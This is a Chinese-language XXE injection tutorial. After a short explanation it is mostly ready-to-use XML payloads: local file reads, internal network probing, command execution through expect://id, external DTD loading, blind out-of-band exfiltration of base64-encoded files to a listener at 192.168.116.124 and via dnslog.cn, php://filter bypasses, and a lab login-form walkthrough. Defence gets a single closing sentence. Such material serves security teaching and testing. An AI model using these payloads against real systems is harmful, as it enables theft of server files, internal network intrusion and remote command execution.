一、介绍
XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
二、XML与HMTL的区别
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
三、漏洞利用
1)读文件
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/11.txt" >
]>
<foo>&xxe;</foo>
该文件要真实存在
2)内网探针或攻击内网应用
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.116.124/index.txt" >
]>
<foo>&xxe;</foo>
3)RCE
该漏洞是在安装expect扩展的php环境里执行系统命令
id 为执行的命令
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<foo>&xxe;</foo>
4)引入外部实体dtd
主要用来绕过或实现自定义的一种攻击
evil.dtd 可以简单理解为xml的一个格式文件
evil.dtd
<!ENTITY send SYSTEM "file:///c:/11.txt">
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://192.168.116.124/evil.dtd" >
%file;
]>
<foo>&send;</foo>
上面的代码就是将evil.dtd里的内容当作xml来执行
5)无回显读文件
test.dtd
<!ENTITY % payload
"<ENTITY % send SYSTEM 'http://192.168.116.124/?data=%file;'>"
>
%payload;
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/test.txt" >
<!ENTITY % dtd SYSTEM "http://192.168.116.124/test.dtd">
%dtd;
%send;
]>
6)无回显+dnslog.cn
访问dnslog.cn(http://dnslog.cn),生成一个域名
payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://pf7o7e.dnslog.cn" >
]>
<foo>&xxe;</foo>
7)伪协议-读文件(绕过)
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=c:/11.txt" >
]>
<x>&f;</x>
8)xxe-lab靶场登录框xml数据传输测试-检测发现
随意输入账号/密码,登录,抓包
发送到爬虫模块,然后在历史包中输入xml关键字过滤
得到有漏洞的数据包
构造payload
payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///c:/11.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
四、防御
XML解析库在调用时严格禁止对外部实体的解析。